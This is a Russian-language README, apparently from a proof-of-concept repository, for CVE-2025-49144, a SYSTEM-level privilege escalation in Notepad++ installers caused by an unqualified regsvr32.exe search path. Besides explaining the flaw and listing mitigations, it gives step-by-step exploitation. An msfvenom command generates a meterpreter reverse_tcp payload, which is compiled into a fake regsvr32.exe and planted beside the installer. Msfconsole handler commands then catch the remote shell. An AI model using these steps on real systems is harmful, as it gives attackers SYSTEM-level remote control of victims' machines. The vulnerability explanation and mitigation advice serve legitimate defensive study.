
CVE-2025-49144 * Notepad++ v8.8.1 * POC уровня SYSTEM
CVE-2025-49144 * Notepad++ v8.8.1 * PoC уровня SYSTEM

📌 CVE-2025-49144 — это уязвимость локального повышения привилегий высокой степени опасности, обнаруженная в установщиках Notepad++ v8.8.1 и более ранних версий. Данная уязвимость возникает из-за неконтролируемого поведения пути поиска исполняемых файлов во время установки, что позволяет локальному злоумышленнику получить привилегии уровня SYSTEM, поместив вредоносные исполняемые файлы в тот же каталог, что и установщик.
⚙️ Как работает CVE – пошагово:
🧱 1. Что пошло не так с установщиком?
Установщик Notepad++ (до v8.8.2) вызывает regsvr32.exe для регистрации некоторых компонентов, но делает это без указания полного пути (например, C:\Windows\System32\regsvr32.exe).
Вместо этого он просто запускает:
regsvr32.exe some_dll 📂 2. Поведение пути поиска Windows: когда исполняемый файл запускается без полного пути, Windows использует определенный порядок поиска, чтобы найти файл:
Папка, из которой было запущено приложение (например, Downloads)
Системная папка (System32)
Папка Windows
Текущий рабочий каталог
Пути в переменной среды PATH
Итак, если поддельный regsvr32.exe размещен в той же папке, что и установщик (например, Downloads), Windows будет использовать его раньше, чем настоящий.
💣 3. Эксплуатация:
Злоумышленник размещает вредоносный regsvr32.exe в той же папке, что и легитимный установщик Notepad++ (например, в папке Downloads жертвы).
Жертва запускает установщик (думая, что это безопасно).
Установщик вызывает regsvr32.exe, но в итоге выполняет вредоносный файл из той же папки — с привилегиями SYSTEM (поскольку установщики обычно запрашивают права администратора).
Полезная нагрузка злоумышленника теперь выполняется как NT AUTHORITY\SYSTEM. ⚙️ Шаги для воспроизведения:
Получите shell-код: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f c > shellcode.txt Скачайте файл "regsvr32_loader.c" и отредактируйте его. Вставьте весь shellcode из shellcode.txt в указанный комментарий. Скомпилируйте в regsvr32.exe: x86_64-w64-mingw32-gcc regsvr32_loader.c -o regsvr32.exe -mwindows Разверните слушатель meterpreter: msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.9 set LPORT 4444 run Загрузите уязвимую версию Notepad++, то есть предшествующую 8.8.1, так как 8.8.1 теперь обновляется автоматически. Для PoC я использовал Notepad++ v8.6.8 Переместите файл "regsvr32.exe" в систему Windows в ту же папку, где находится установщик notepad++, вероятно, в папку Downloads. Завершите установку Notepad++. Примечание: это PoC, поэтому тестирование проводилось с отключенным Windows Defender и отключенной защитой в реальном времени.
✅ Митигация
Пользователям и администраторам следует:
Обновиться до Notepad++ v8.8.2 или более поздней версии
Ограничить установку программного обеспечения доверенными администраторами
Использовать AppLocker, WDAC или политики ограничения программ (SRP), чтобы:
Заблокировать выполнение из доступных для записи пользователями папок (например, Downloads)
Предотвратить выполнение недоверенных двоичных файлов, таких как regsvr32.exe, из несанкционированных путей
Сделать обязательной подпись кода для исполняемых файлов
Командам безопасности следует регулярно проверять пути установки, отслеживать права на запись и наблюдать за поведением во время выполнения установщика, чтобы уменьшить поверхность атаки.
🏷️ Лицензия Лицензия MIT — только для образовательных, исследовательских и защитных целей.
🤝 Вклад Приветствуются Pull Request — улучшайте обнаружение, добавляйте функции или предлагайте исправления.